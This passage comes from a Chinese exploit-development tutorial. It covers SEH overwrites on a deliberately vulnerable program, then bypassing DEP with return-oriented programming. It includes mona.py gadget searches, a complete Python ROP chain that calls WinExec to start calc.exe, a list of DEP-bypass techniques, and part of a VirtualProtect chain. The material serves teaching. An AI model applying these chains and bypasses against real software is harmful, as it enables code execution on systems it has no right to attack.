    - Number of pointers of type 'pop ebx # pop ebp # retn 20h' : 2 
    - Number of pointers of type 'pop eax # pop ebp # retn 10h' : 3 
    - Number of pointers of type 'pop eax # pop ebp # retn 14h' : 3 
    - Number of pointers of type 'pop ebx # pop ebp # retn' : 4 
    - Number of pointers of type 'pop edi # pop ebp # retn 14h' : 2 
    - Number of pointers of type 'pop edi # pop ebp # retn 4' : 5 
[+] Results : 
0x75cbc49c |   0x75cbc49c (b+0x0004c49c)  : pop edi # pop esi # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75d1b944 |   0x75d1b944 (b+0x000ab944)  : pop edi # pop esi # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cd9aa5 |   0x75cd9aa5 (b+0x00069aa5)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cd9c66 |   0x75cd9c66 (b+0x00069c66)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cb6bea |   0x75cb6bea (b+0x00046bea)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cb74f0 |   0x75cb74f0 (b+0x000474f0)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cbb072 |   0x75cbb072 (b+0x0004b072)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75d2054c |   0x75d2054c (b+0x000b054c)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75ca72d2 |   0x75ca72d2 (b+0x000372d2)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cae41b |   0x75cae41b (b+0x0003e41b)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cb1448 |   0x75cb1448 (b+0x00041448)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cc1343 |   0x75cc1343 (b+0x00051343)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cc3784 |   0x75cc3784 (b+0x00053784)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cd2979 |   0x75cd2979 (b+0x00062979)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cd7cf2 |   0x75cd7cf2 (b+0x00067cf2)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cf3ae7 |   0x75cf3ae7 (b+0x00083ae7)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cf5c0d |   0x75cf5c0d (b+0x00085c0d)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75cf8117 |   0x75cf8117 (b+0x00088117)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75d073c6 |   0x75d073c6 (b+0x000973c6)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
0x75d0d726 |   0x75d0d726 (b+0x0009d726)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open findwild.txt...
    Found a total of 395 pointers
 
[+] This mona.py action took 0:00:23.057000



我们选择第二个:


0x75d1b944 |   0x75d1b944 (b+0x000ab944)  : pop edi # pop esi # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7600.16385 (C:\Windows\system32\kernel32.dll)



所以我们的示意图就变成了这样子:





生成name.dat的Python代码如下:





如果用WinDbg调试Exploitme2.exe的话,你会发现出错了.好像是我们的异常处理程序(pop/pop/ret)没有被调用.这是为什么呢?


我们来看一看已加载的模块:


0:000> !py mona modules
Hold on...
[+] Command used:
!py mona.py modules
 
---------- Mona command started on 2016-01-06 20:23:51 (v2.0, rev 565) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
 0x75460000 | 0x754aa000 | 0x0004a000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [KERNELBASE.dll] (C:\Windows\system32\KERNELBASE.dll)
 0x013b0000 | 0x013d0000 | 0x00020000 | False  | True    | True  |  False   | False  | -1.0- [Exploitme2.exe] (Exploitme2.exe)
 0x75c70000 | 0x75d44000 | 0x000d4000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [kernel32.dll] (C:\Windows\system32\kernel32.dll)
 0x75e30000 | 0x75edc000 | 0x000ac000 | False  | True    | True  |  True    | True   | 7.0.7600.16385 [msvcrt.dll] (C:\Windows\system32\msvcrt.dll)
 0x77290000 | 0x773cc000 | 0x0013c000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [ntdll.dll] (ntdll.dll)
 0x76020000 | 0x760c0000 | 0x000a0000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [ADVAPI32.dll] (C:\Windows\system32\ADVAPI32.dll)
 0x773e0000 | 0x77481000 | 0x000a1000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [RPCRT4.dll] (C:\Windows\system32\RPCRT4.dll)
 0x76160000 | 0x76179000 | 0x00019000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [sechost.dll] (C:\Windows\SYSTEM32\sechost.dll)
----------------------------------------------------------------------------------------------------------------------------------
 
 
[+] This mona.py action took 0:00:00.110000



这里我们可以看到所有已加载的模块SafeSEH = True.这对于我们来说可是一个坏消息啊.如果一个模块编译的时候开启了SafeSEH这个编译选项,则该模块会维护一个真实SEH异常处理程序的列表,任何位于该模块中的异常处理程序,如果不在这个列表中的话,将直接被忽略掉. 


0x75d1b944这个地址位于kernel32.dll模块中,但是该地址并不在受允许的异常处理程序列表中,所以我们不能用它.这种情况通常的解决方案是选择一个没有开启SafeSEH(即SafeSEH=False)的模块,但是在我们这个例子中,所有模块在编译时都开启了SafeSEH.




关于SafeSEH我们就暂时讨论到这里,下面我们在VS 2015中通过做如下修改来禁用掉SafeSEH配置选项,然后重编译Exploitme2.exe:


●  配置属性


●  链接器


●  高级


●  映像具有安全异常处理程序:否(/SAFESEH:NO)


现在我们再来在Exploitme2.exe中搜索pop/pop/ret指令序列:


0:000> !py mona findwild -s "pop r32#pop r32#ret" -m exploitme2.exe
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m exploitme2.exe
 
---------- Mona command started on 2016-01-06 20:45:02 (v2.0, rev 565) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules exploitme2.exe
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x00280000 and 0x002a0000
[+] Preparing output file 'findwild.txt'
    - (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
    - Number of pointers of type 'pop edi # pop esi # retn' : 8 
    - Number of pointers of type 'pop esi # pop ebx # retn' : 8 
    - Number of pointers of type 'pop esi # pop edi # retn 10h' : 2 
    - Number of pointers of type 'pop edi # pop ebx # retn' : 3 
    - Number of pointers of type 'pop ebx # pop edi # retn' : 1 
    - Number of pointers of type 'pop ecx # pop ebx # retn 4' : 1 
    - Number of pointers of type 'pop esi # pop ebp # retn' : 57 
    - Number of pointers of type 'pop edi # pop ebp # retn' : 7 
    - Number of pointers of type 'pop ecx # pop ebp # retn 4' : 2 
    - Number of pointers of type 'pop ecx # pop esi # retn' : 2 
    - Number of pointers of type 'pop eax # pop ebp # retn' : 8 
    - Number of pointers of type 'pop ebx # pop ebp # retn 0ch' : 1 
    - Number of pointers of type 'pop ebx # pop esi # retn' : 1 
    - Number of pointers of type 'pop edi # pop ebp # retn 4' : 1 
    - Number of pointers of type 'pop ecx # pop ebp # retn' : 7 
    - Number of pointers of type 'pop esi # pop ebp # retn 18h' : 2 
    - Number of pointers of type 'pop ecx # pop ecx # retn' : 4 
    - Number of pointers of type 'pop esi # pop ebp # retn 4' : 3 
    - Number of pointers of type 'pop ebx # pop ebp # retn 8' : 1 
    - Number of pointers of type 'pop edi # pop esi # retn 4' : 2 
    - Number of pointers of type 'pop ebx # pop ebp # retn' : 15 
    - Number of pointers of type 'pop esi # pop edi # retn' : 22 
    - Number of pointers of type 'pop ebx # pop ebp # retn 24h' : 1 
[+] Results : 
0x002829e2 |   0x002829e2 (b+0x000029e2)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00282e35 |   0x00282e35 (b+0x00002e35)  : pop edi # pop esi # retn | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00283d2a |   0x00283d2a (b+0x00003d2a)  : pop edi # pop esi # retn | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00285271 |   0x00285271 (b+0x00005271)  : pop edi # pop esi # retn | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00287c64 |   0x00287c64 (b+0x00007c64)  : pop edi # pop esi # retn | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x0028a0b0 |   0x0028a0b0 (b+0x0000a0b0)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x0028a16c |   0x0028a16c (b+0x0000a16c)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x0028adb9 |   0x0028adb9 (b+0x0000adb9)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00281d3e |   0x00281d3e (b+0x00001d3e)  : pop esi # pop ebx # retn | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00281d69 |   0x00281d69 (b+0x00001d69)  : pop esi # pop ebx # retn | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x0028286d |   0x0028286d (b+0x0000286d)  : pop esi # pop ebx # retn | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00282b26 |   0x00282b26 (b+0x00002b26)  : pop esi # pop ebx # retn | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00283dd4 |   0x00283dd4 (b+0x00003dd4)  : pop esi # pop ebx # retn | startnull {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x0028706c |   0x0028706c (b+0x0000706c)  : pop esi # pop ebx # retn | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x0028eeb8 |   0x0028eeb8 (b+0x0000eeb8)  : pop esi # pop ebx # retn | startnull {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x0028eec5 |   0x0028eec5 (b+0x0000eec5)  : pop esi # pop ebx # retn | startnull {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00292a25 |   0x00292a25 (b+0x00012a25)  : pop esi # pop edi # retn 10h | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00292bda |   0x00292bda (b+0x00012bda)  : pop esi # pop edi # retn 10h | startnull {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00293a6a |   0x00293a6a (b+0x00013a6a)  : pop edi # pop ebx # retn | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
0x00293a71 |   0x00293a71 (b+0x00013a71)  : pop edi # pop ebx # retn | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [Exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (Exploitme2.exe)
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open findwild.txt...
    Found a total of 159 pointers
 
[+] This mona.py action took 0:00:02.902000



我们用第一个地址:0x002829e2.


下面我们更新一下我们的Python脚本:





运行该脚本,然后在WinDbg中打开Exploitme2.exe(这个版本没有开启SafeSEH).运行起来,和我们预期的一样,弹出了计算器!exploit成功了,但是这里我们有点自欺欺人,我们是假装没有开启地址随机化(ASLR)的(因为我们现在还没有讲到ASLR嘛,哈哈).





可能会遇到的问题




如果这个exploit在你的系统中无法生效,那么有可能是栈空间不够.那么你可以参考如何在栈中”腾出”更多空间这篇文章.

















Exploitme3
(DEP)


如果你理解了Exploitme1和Exploitme2这两篇的相关知识点的话,那么理解这篇文章会相对容易一些,因为本系列教程是循序渐进,难度逐步提高的.




这篇文章可能需要大家花一点时间来消化.为了让大家更容易理解,我会尽可能的精简.想要理解ROP的本质,你需要亲自动手,一步步地实验.我第一次研究ROP的时候,也是这么过来的.


与此同时,你必须要熟悉汇编语言.诸如:RET 0x4指令到底干了什么?参数是如何被传递给函数的(32位代码中)?如果你连这些知识点都还没弄明白,我劝你还是先回去熟悉熟悉汇编语言吧!




我们开始吧…


首先,打开VS2013,禁用掉安全检查(GS/stack cookies),并将DEP(数据执行保护)开启,打开工程->属性,将以下修改应用到发布版本配置:


●  配置属性


●  C/C++


●  代码生成


●  安全检查:禁用安全检查(/GS-)


确保DEP是开启的:


●  配置属性:


●  链接器


●  高级


●  数据执行保护(DEP):是(/NXCOMPAT)


我们还是用之前的代码:


int main() {
     char name[32];
     printf("Reading name from file...\n");
     FILE *f = fopen("c:\\name.dat", "rb");
     if (!f)
         return -1;
     fseek(f, 0L, SEEK_END);
     long bytes = ftell(f);
     fseek(f, 0L, SEEK_SET);
     fread(name, 1, bytes, f);
     name[bytes] = '\0';
     fclose(f);
 
     printf("Hi, %s!\n", name);
     return 0;
}





我们用Exploitme1.exe的那个Python脚本生成name.dat:





注意,我这里对ret_eip做了修改,因为我重启了Windows.大家应该还记得如何在kernel32.dll中查找JMP ESP或与之等价的指令序列吧!


!py mona jmp -r esp -m kernel32.dll 



如果你编译Exploitme3.exe的时候没有开启DEP,这个exploit将会成功,但是这里我们开启了DEP,所以会产生如下异常:





注意这里EIP
= ESP,也就说我们确实跳到了ESP处,但是还是有什么地方出错了.我们反汇编一下EIP处的代码,我们可以看到这的确是我们的shellcode:





这里是我们shellcode其中的一部分(结合上面的Python脚本的来看):





我们可以看到,这些字节是一致的.


到底哪里出错了呢?其实啊,是因为这段代码所在的分页被标记为了不可执行了.


如果一个分页是可执行的,你可以看到如下的信息:



0:000> !vprot @eip
BaseAddress:       77c71000
AllocationBase:    77bd0000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        00045000
State:             00001000  MEM_COMMIT
Protect:           00000020  PAGE_EXECUTE_READ
Type:              01000000  MEM_IMAGE



最重要的一行是:


Protect:           00000020  PAGE_EXECUTE_READ



这表示这个分页是可读,可执行的.


现在我们这里发生了异常,我们可以看到:





该分页是可读,可写,但是是不可执行的.


简单来说就是,DEP(数据执行保护)将所有包含数据的分页都标记为不可执行了.其中包括栈和堆.其实就是:我们不能在栈中执行代码了!




我们可以使用ROP(Return-Oriented
Programming:返回导向编程)来绕过DEP.思路非常简单:


1.        
复用已存在于各个模块中的代码片段


2.        
仅使用栈来控制数据和程序执行的流程


一起来看看下面这三段代码:


piece1:
    pop eax
    pop ebx
    ret
    
piece2:
    mov ecx,4
    ret
 
piece3:
    pop edx
    ret



piece1,piece2和piece3是三个标签,表示内存中的三个地址.为了方便起见,我们使用它们来代表实际的地址.




现在我们在栈中放上如下的值:






esp -->   value_for_eax
           value_for_ebx
           piece2
           piece3
           value_for_ebx



如果在开始的时候EIP = piece1,我们运行这段代码,将发生:





虽然这个示意图已经很清楚明了了,我这里还是来详细解释一下:


1.        
从piece1处开始执行,这个时候esp指向的是value_for_eax.


2.        
pop eax将value_for_eax弹出到eax中(esp += 4:现在esp指向了values_for_ebx).


3.        
pop ebx将value_for_ebx弹出到ebx中(esp += 4:现在esp指向了piece2).


4.        
ret将piece2弹出,然后跳转到piece2(esp
+= 4:现在esp指向了piece3).


5.        
mov ecx,4将4赋值给ecx.


6.        
ret将piece3弹出,然后跳转到piece3(esp
+= 4:现在esp指向了value_for_edx).


7.        
pop edx将value_for_edx弹出到edx(esp
+= 4:现在esp指向了some_function).


8.        
ret将some_fuction弹出,然后跳转到some_function.


这里我们假设some_function永远不会返回.




现在我们应该知道这种技术为什么叫ROP了吧:RET指令用于从一段代码跳转到下一段代码.这一段段的代码通常被称为部件(gadget).部件(gadget)其实就是以RET指令结尾的指令序列.




难点:如何找到合适的部件并将它们串在一起,最终得到我们的目的.




直接调用WinExec


对于我们这个exploit来说,我们只是想执行如下两行代码:


WinExec("calc.exe", SW_SHOW);
ExitThread(0);



对应的汇编代码如下:





有一个重要的点,大家要记住:WinExec()和ExitThread()会自己清理栈中的参数(分别通过ret 8,ret
4来清理栈中各自的参数).




0CD2108h是位于.rdata节中calc.exe这个字符串的地址.我们需要将该字符串直接放到栈中.不幸的是,这样字符串的首地址就不是一个定值了,我们需要运行时动态计算该地址.




首先,我们在kernel32.dll,ntdll和msvcr120.dll中找到所有我们感兴趣的部件(gadget).我们又得用到mona.首先通过如下命令设置一下mona的工作目录:





你可以随意的更改该目录,还有就是,这个%p将被替换为当前正在被调试可执行文件的名称.


接着通过如下命令查找rop:


!py mona rop -m kernel32.dll,ntdll,msvcr120.dll


这条命令将输出大量数据,并生成下列文件(位于上面指定的工作目录下):


●  rop.txt


●  rop_chains.txt


●  rop_suggestions.txt


●  stackpivot.txt


看一下这些文件中都包含了哪些类型的信息.




要想调用WinExec和ExitThread,我们需要像下面这样部署堆栈:








cmd: "calc"
     ".exe"
     0
     WinExec                 <----- ESP
     ExitThread
     cmd                      #WinExec的第一个参数
     5                        #WinExec的第二个参数(uCmdShow)
     ret_for_ExitThread    #返回到ExitThread   
     dwExitCode



如果当ESP指向上面所示的位置时,我们执行RET, WinExec将会被执行.WinExec以RETN 8指令结尾,也就说其会从栈中提取出ExitThread的地址,接着跳转到ExitThread,与此同时清理掉栈中的两个参数(通过将ESP加上8).ExitThread将使用位于栈中的dwExitCode做为参数.


以上这种架构存在两个问题:


1.        
有些字节是空字节;


2.        
cmd不是一个定值,所以WinExec的第一个参数必须运行时动态修正.


注意我们的这种情况,由于所有的数据都是通过调用fread()从文件中读进来的,所以我们不需要处理空字符.但是如果有时候我们非得处理空字符的话(比如遇到strcpy的时候),可以使用0x01010101之类的值来替代5(SW_SHOW),貌似也没有出现什么问题.cmd字符串的结束符\0,我们可以使用0xffffffff之类的值来替换,然后在运行时再将其置0.最后,我们需要在运行时动态地写入cmd(即.”cmd.exe”这个字符串的首地址)的值.


也就是像如下示意图这样:





首先,我们跳过(通过ESP自增)我们想要修复的栈中的部分.然后我们修复这一部分,最后,我们跳回(通过ESP自减)到我们已修复完毕的部分,接着执行它(在某种意义上讲,这也是ROP).




生成name.dat的Python脚本如下:


import struct
 
def write_file(file_path):
    # 注意: 这个rop链中不能包含任何空字节.
 
    msvcr120 = 0x6b3e0000
    kernel32 = 0x75c70000
    ntdll = 0x77290000
 
    WinExec = kernel32 + 0x8e695
    ExitThread = ntdll + 0x45d20
    lpCmdLine = 0xffffffff
    uCmdShow = 0x01010101
    dwExitCode = 0xffffffff
    ret_for_ExitThread = 0xffffffff
    
    # 这些值是用来对齐的.
    for_ebp = 0xffffffff
    for_ebx = 0xffffffff
    for_esi = 0xffffffff
    for_retn = 0xffffffff
 
    rop_chain = [
        msvcr120 + 0x10a041d,  # ADD ESP,24 # POP EBP # RETN
# cmd:
        "calc",
        ".exe",
# cmd+8:
        0xffffffff,          # 在运行时清0
# cmd+0ch:
        WinExec,
        ExitThread,
# cmd+14h:
        lpCmdLine,           # WinExec的第一个参数(运行时动态的计算)
        uCmdShow,            # WinExec的第二个参数
        ret_for_ExitThread,  # 没用到
        dwExitCode,          # ExitThread的第一个参数
# cmd+24h:
        for_ebp,
        ntdll + 0xa0a3c,     # INC ESI # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04
        # 现在 edi = here
 
# here:
        for_esi,
        for_ebp,
        msvcr120 + 0x1019972,  # XCHG EAX,EDI # RETN
        for_retn,
        # 现在 eax = here
 
        msvcr120 + 0x1072aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
        for_ebx,
        for_ebp,
        msvcr120 + 0x1072aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
        for_ebx,
        for_ebp,
        msvcr120 + 0x1072aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
        for_ebx,
        for_ebp,
        msvcr120 + 0x1072aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
        for_ebx,
        for_ebp,
        msvcr120 + 0x1072aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
        for_ebx,
        for_ebp,
        msvcr120 + 0x109fe65,  # SUB EAX,2 # POP EBP # RETN
        for_ebp,
        kernel32 + 0x40250,  # INC EAX # RETN
        # 现在 eax = cmd+8
 
        # 让 [cmd+8] = 0:
        msvcr120 + 0x105ae06,  # XOR ECX,ECX # XCHG ECX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN
        for_esi,
        for_ebp,
        msvcr120 + 0x109fe65,  # SUB EAX,2 # POP EBP # RETN
        for_ebp,
        # 现在 eax+0eh = cmd+14h (即. eax = cmd+6)
 
        # 让 ecx = eax:
        msvcr120 + 0x101936b,  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
        kernel32 + 0x586c2,  # XOR EAX,EAX # RETN
        kernel32 + 0xb3d5b,  # XOR EAX,ECX # POP EBP # RETN 0x08
        for_ebp,
        msvcr120 + 0x109fe65,  # SUB EAX,2 # POP EBP # RETN
        for_retn,
        for_retn,
        for_ebp,
        msvcr120 + 0x109fe65,  # SUB EAX,2 # POP EBP # RETN
        for_ebp,
        msvcr120 + 0x109fe65,  # SUB EAX,2 # POP EBP # RETN
        for_ebp,
        # 现在 eax = cmd
 
        msvcr120 + 0x101936b,  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
        # 现在 eax+0eh = cmd+14h
        # 现在 ecx = cmd
 
        kernel32 + 0x99066,  # MOV DWORD PTR [EAX+0EH],ECX # POP EBP # RETN 0x10
        for_ebp,
        msvcr120 + 0x101936b,  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
        for_retn,
        for_retn,
        for_retn,
        for_retn,
        msvcr120 + 0xffe47e,  # ADD EAX,0C # RETN
        # 现在 eax = cmd+0ch
 
        # 让 esp = cmd+0ch:
        kernel32 + 0x306a8,  # XCHG EAX,ESP # RETN
    ]
 
    rop_chain = ''.join([x if type(x) == str else struct.pack('<I', x)
                         for x in rop_chain])
 
    with open(file_path, 'wb') as f:
        ret_eip = kernel32 + 0x58051            # RETN
        name = 'a'*36 + struct.pack('<I', ret_eip) + rop_chain
        f.write(name)
 
 
write_file(r'c:\name.dat')



这一串rop链比较难懂,所以你得多费点时间来理解.你可能想在WinDbg中调试它.启动WinDbg,加载Exploitme3.exe,在main函数中的ret指令处设置一个断点:


bp exploitme3!main+0x86



然后按F5(运行起来),然后开始按F10单步调试这段代码.时刻注意使用dd esp命令查看堆栈的情况.


为了便于大家的理解,我这里对这段代码执行时候发生了什么做了一个简要的描述:







关闭DEP


事实证明:DEP可以通过编程的方式关闭的.为什么会这样呢?这是因为有些程序(比如说安全软件)由于某些特殊原因不能使用DEP,所以DEP需要高度的可配置性.


Windows下,DEP可配置的选项:


●  AlwaysOn (始终开启)


●  AlwaysOff (始终关闭)


●  OptIn: 仅为基本的Windows程序和服务启动DEP


●  OptOut:为除用户指定程序之外的所有程序和服务启用DEP





我们可以通过调用SetProcessDEPPolicy来开启或者关闭指定进程的DEP.


各式各样绕过DEP的方法:


●  VirtualProtect()让内存可执行.


●  VirtualAlloc()分配可执行的内存.


注意:要用VirtualAlloc()分配已提交的内存.只要分配某个已提交分页中一个单字节(长度=1),就可以让该字节所在的整个分页都具有可执行属性了.


●  HeapCreate() + HeapAlloc() + 拷贝内存.


●  用SetProcessDEPPolicy()关闭DEP.如果DEP是AlwaysOn(一直开启)或者SetProcessDEPPolicy()已经被当前进程调用过了,那么这种方法就不起作用了.


●  用NtSetInformationProcess()关闭DEP.如果DEP是AlwaysOn(一直开启)或者该模块编译时加了编译选项/NXCOMPAT,再或者该函数已经被当前进程调用过了,则这种方法就不起作用了.


这里有一张Corelan团队总结的表,非常有用:





如果你看了rop_chains.txt的话,你就会发现mona已经为VirtualProtect生成了一个rop链.我们来试一试它!


首先,我们看看VirtualProtect.它的函数原型如下:


BOOL WINAPI VirtualProtect(
    _In_ LPVOID lpAddress,
    _In_ SIZE_T dwSize,
    _In_ DWORD flNewProtect,
    _Out_ PDWORD lpflOldProtect
);



这个函数修改指定内存区域所在分页的保护属性.这里我们让flNewProtect = 0x40(PAGE_EXECUTE_READWRITE).将要修改保护属性的内存区域设置为我们栈中shellcode所在的区域,这样我们就又能跟之前一样执行我们的shellcode了.


mona生成的VirtualProtect的rop链(python版本的)如下:


  def create_rop_chain():
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x77d9424c,  # POP EBP # RETN [ntdll.dll] 
      0x77d9424c,  # skip 4 bytes [ntdll.dll]
      0x77da3cc9,  # POP EBX # RETN [ntdll.dll] 
